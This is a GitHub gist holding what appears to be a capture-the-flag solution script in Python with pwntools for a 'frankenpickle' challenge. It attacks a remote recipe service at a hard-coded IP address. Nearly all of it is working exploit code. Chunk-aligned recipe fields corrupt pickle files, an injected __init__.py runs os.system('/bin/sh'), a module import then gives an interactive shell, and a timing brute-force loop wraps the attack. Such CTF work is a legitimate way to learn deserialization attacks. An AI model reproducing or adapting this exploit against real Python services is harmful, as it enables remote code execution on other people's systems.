Skip to content

Instantly share code, notes, and snippets.

@Strikeskids
Last active April 9, 2018 00:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Strikeskids/16e3878dd1215ae7c55f84d5a9a4fc8d to your computer and use it in GitHub Desktop.
Save Strikeskids/16e3878dd1215ae7c55f84d5a9a4fc8d to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
# Written by Strikeskids
from __future__ import print_function
from pwn import *
from time import sleep
import random, string, pickle
from copy import deepcopy
from hashlib import md5
context.update(os='linux', arch='amd64',
# log_level='debug',
)
safe_recipe = 'SAFERECIPE'
def token():
return ''.join(random.choice(string.lowercase) for _ in range(8))
# '''
local = False
def connect():
return remote('34.213.162.78', '2700')
username = token()
userhash = md5(username).hexdigest()
iter_start = 20000
'''
local = True
def connect():
return process('./frankenpickle.py', stdin=PTY)
username = 'cdb'
userhash = '785b30443fd6e2de160408ddcfcae6fa'
iter_start = 10000
# '''
bufsize = 4096
class Recipe:
def __init__(self, name):
self.secret_ingredient = "flag{IT'S ALIVEEE!!11!1!!!! ..now just get a shell}"
self.name = name
self.prep_time = 0.0 # Changed to have float default
self.steps = ['s'+str(x) for x in xrange(3)]
self.ingredients = ['i'+str(x) for x in xrange(3)]
# self.prep_time = 0
# self.steps = []
# self.ingredients = []
def set_prep_time(self, minutes):
self.prep_time = minutes
def add_ingredient(self, ingredient):
self.ingredients.append(ingredient)
def add_step(self, step):
self.steps.append(step)
def __str__(self):
out = "\n"+(len(self.name)+4)*"-"+"\n"
out += "| " + self.name + " |\n"
out += (len(self.name)+4)*"-"+"\n"
out += "Preparation time: " + str(self.prep_time) + " minutes\n"
out += "Ingredients: "
for i in self.ingredients:
out += i + ", "
out = out[:-2] + "\n"
out += "Steps:\n"
for i in range(len(self.steps)):
out += str(i+1) + ". " + self.steps[i] + "\n"
return out
def compute_file_suffix():
tok = token()
r = Recipe(tok)
rdata = pickle.dumps(r)
post_name = len(rdata) - rdata.index(tok) - len(tok) + 1
return post_name, 'U'+chr(post_name)
post_name, file_suffix = compute_file_suffix()
def send_prompted(t, data):
t.prompts = getattr(t, 'prompts', 0) + 1
# t.sendlineafter('> ', data)
t.sendline(data)
def flush_prompts(t):
prompts = getattr(t, 'prompts', 0)
log.debug('Flushing %d', prompts)
for _ in xrange(prompts):
t.recvuntil('>')
t.prompts = 0
def connect2():
t = connect()
send_prompted(t, username)
flush_prompts(t)
t.recvuntil('WRITE')
return t
def log_local_pickle(fname):
if local:
with open(os.path.join(userhash, fname), 'rb') as f:
result = f.read()
log.info('Local pickle %s: %d\n%s', fname, len(result), result)
def prep_send_recipe(t, recipe):
send_prompted(t, '0')
send_prompted(t, str(recipe.name))
send_prompted(t, str(recipe.prep_time))
for i in recipe.ingredients:
send_prompted(t, str(i))
send_prompted(t, '')
for i in recipe.steps:
send_prompted(t, str(i))
flush_prompts(t)
def send_recipe(t, recipe, flush=False):
send_prompted(t, '0')
send_prompted(t, str(recipe.name))
send_prompted(t, str(recipe.prep_time))
for i in recipe.ingredients:
send_prompted(t, str(i))
send_prompted(t, '')
for i in recipe.steps:
send_prompted(t, str(i))
send_prompted(t, '')
flush_prompts(t)
t.recvuntil('[0] WRITE')
if flush:
flush_file(t)
def read_recipe(t, fname, skip_result=False):
send_prompted(t, '1')
send_prompted(t, fname)
flush_prompts(t)
if skip_result:
return
return t.recvuntil('[0] WRITE RECIPE', drop=True)
def ignore_at(block, f, size):
t = connect2()
def trigger():
flush_file(t)
t.close()
toks = [token() for _ in xrange(block+1)]
toks_len = sum(len(t) for t in toks)
tok = token()
r = Recipe(f)
r.ingredients[:0] = toks
r.add_step(tok)
rdata = pickle.dumps(r)
stepidx = rdata.index(tok) - toks_len
nameidx = rdata.index(file_suffix, stepidx) - toks_len
step_to_name = nameidx - stepidx - len(tok)
post_skip = max(0, 0x20 - step_to_name)
log.debug('Step to name %x', step_to_name)
skip_to_end = 2 + post_skip + step_to_name + 2 + post_name
assert skip_to_end <= size < bufsize
rest = size - skip_to_end
nops = rest // 2
amount_to_skip = block*bufsize
fill_in_toks(r, toks, block*bufsize - stepidx)
r.steps[r.steps.index(tok)] = flat(
'(1' * nops,
pickle.SHORT_BINSTRING,
chr(rest%2 + step_to_name + post_skip),
'J' * (post_skip + rest % 2),
)
rdata = pickle.dumps(r)
log.debug('Payload Offset %x', rdata.index(r.steps[-1]))
send_recipe(t, r)
return trigger
def replace_tok(r, tok, value):
if tok in r.ingredients:
r.ingredients[r.ingredients.index(tok)] = value
elif tok in r.steps:
r.steps[r.steps.index(tok)] = value
else:
raise ValueError('Missing token')
def fill_in_toks(r, toks, filler, non_ascii=False):
for i, tok in enumerate(toks):
current_amount = filler // (len(toks) - i)
if non_ascii:
s = flat(
chr(0x81 + i) * (current_amount // 4),
chr(0x41 + i) * (current_amount % 4),
)
else:
s = chr(0x41 + i) * current_amount
assert len(repr(s)) == current_amount + 2
replace_tok(r, tok, s)
filler -= current_amount
def setup_safe():
t = connect2()
send_recipe(t, Recipe(safe_recipe))
read_recipe(t, safe_recipe)
t.close()
def clear_file(fname):
t = connect2()
send_recipe(t, Recipe(fname))
t.close()
def flush_file(t):
read_recipe(t, safe_recipe)
sleep(0.5)
def align_substring(block, r, sub, offset=0, flush=False):
r = deepcopy(r)
toks = [token() for _ in xrange(block+1)]
r.ingredients[:0] = toks
t = connect2()
def trigger():
flush_file(t)
t.close()
rdata = pickle.dumps(r)
start = rdata.index(toks[-1])
loc = rdata.index(sub, start) - sum(len(t) for t in toks)
assert loc <= block*bufsize
fill_in_toks(r, toks, block*bufsize - loc + offset)
send_recipe(t, r)
if not flush:
return trigger
trigger()
def run_pickle_nl(payload):
setup_safe()
fname = 'f' + file_suffix
substr = align_substring(2, Recipe(fname), '\np6')
ignore = ignore_at(1, fname, bufsize - len(payload))
tok = token()
r = Recipe(fname)
r.prep_time = 1.0
r.add_step(tok)
rdata = pickle.dumps(r)
newline_loc = rdata.index('\n', rdata.index(tok)) - len(tok)
r.steps[-1] = 'N' * (bufsize - newline_loc - 1)
r.add_step(tok)
rdata = pickle.dumps(r)
tokloc = rdata.index(tok)
r.steps[-1] = payload.rjust(2*bufsize - tokloc, 'P')
t = connect2()
send_recipe(t, r, flush=True)
flush_file(t)
ignore()
substr()
# log_local_pickle(fname)
read_recipe(t, fname, skip_result=True)
return t
def find_flushes(offset):
setup_safe()
fname = 'f' + file_suffix
tester = align_substring(2, Recipe(fname), '\'\np6', offset)
log_local_pickle(fname)
t = connect2()
r = Recipe(fname)
r.add_ingredient('F' * (bufsize//2))
r.add_ingredient('G' * (bufsize//2))
send_recipe(t, r)
t.close()
tester()
log_local_pickle(fname)
t2 = connect2()
log.info('Reading Result\n%s', read_recipe(t2, fname))
t2.close()
def find_flushes_loop():
while True:
find_flushes(int(raw_input('Offset ')))
def find_max_ingsize():
setup_safe()
t = connect2()
r = Recipe('f')
r.add_ingredient('a' * bufsize)
r.add_ingredient('b' * bufsize*2)
r.add_ingredient('c' * bufsize*3)
try:
send_recipe(t, r, flush=True)
except EOFError:
t.stream()
log.info('Recipe\n%s', read_recipe(t, r.name))
t.close()
def run_import(module):
return run_pickle_nl(flat(pickle.GLOBAL, module))
def exploit():
setup_safe()
targ = '__init__.py'
payload = "killer = (__import__('os').system('/bin/sh'), ( #"
r = Recipe(targ)
r.add_step(payload)
data = align_substring(1, r, payload, offset=4)
r2 = Recipe(targ)
overwrite = align_substring(1, Recipe(targ), '\nsb.')
clear_file(targ)
data()
overwrite()
run_import(userhash).interactive()
def exploit2():
setup_safe()
targ = '__init__.py'
payload = "killer = __import__('os').system('/bin/sh'; #"
r = Recipe(targ)
r.add_step(payload)
data = align_substring(2, r, payload)
clear_file(targ)
data()
run_import(userhash).interactive()
def non_ascii_ljust(s, size):
if len(s) > size: return s
to_add = size - len(s)
return s + ('\x80' * (to_add // 4)) + (' ' * (to_add % 4))
def exploit3(sleep_iters):
setup_safe()
targ = '__init__.py'
payload = "killer = __import__('os').system('/bin/sh'); '''"
rp = Recipe(targ)
rp.add_step(payload)
data = align_substring(1, rp, payload, offset=4)
overwrite = align_substring(1, Recipe(targ), '\nsb.')
finish = align_substring(3, Recipe(targ), 'sb.', offset=-2)
toks = [token() for _ in xrange(4)]
toklen = sum(len(t) for t in toks)
tok1 = token()
tok2 = token()
r = Recipe(targ)
r.ingredients[:0] = toks + [tok1, tok2]
rdata = pickle.dumps(r)
tok1idx = rdata.index(tok1) - toklen
tok2idx = rdata.index(tok2) - toklen - len(tok1)
fill1 = "''' + '''"
fill2 = "''' + 1337"
fill_in_toks(r, toks[:2], bufsize - tok1idx, non_ascii=False)
fill_in_toks(r, toks[2:], bufsize, non_ascii=True)
replace_tok(r, tok1,
non_ascii_ljust(fill1, bufsize - (tok2idx - tok1idx) - len(fill2)))
replace_tok(r, tok2, fill2)
rdata = pickle.dumps(r)
assert rdata[2*bufsize:].startswith(fill1)
assert rdata[:3*bufsize].endswith(fill2)
t1 = connect2()
prep_send_recipe(t1, r)
t2 = connect2()
prep_send_recipe(t2, Recipe(targ))
t1.recvuntil('>')
t2.recvuntil('>')
t1.sendline('')
i = sleep_iters
while i > 0:
i -= 1
t2.sendline('')
t1.recvuntil('[0] WRITE')
data()
overwrite()
finish()
t = run_import(userhash)
data = t.clean(timeout=1)
log.info('Got result\n%s', data)
if not 'SyntaxError' in data:
t.interactive()
return None
elif 'EOF while scanning' in data:
return 'hi'
else:
return 'lo'
t.close()
t1.close()
t2.close()
def brute_exploit3():
with log.progress('Timing Attack') as p:
iters = iter_start
result = 'blah'
while result is not None:
p.status('Sleep for %d iterations', iters)
result = exploit3(iters)
log.info('Iterations was too %s %d', result, iters)
if result == 'lo':
iters *= 2
elif result == 'hi':
iters //= 2
brute_exploit3()
# flag{python2 -c"import pickle;pickle.loads('ithis.')" 2>&-}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment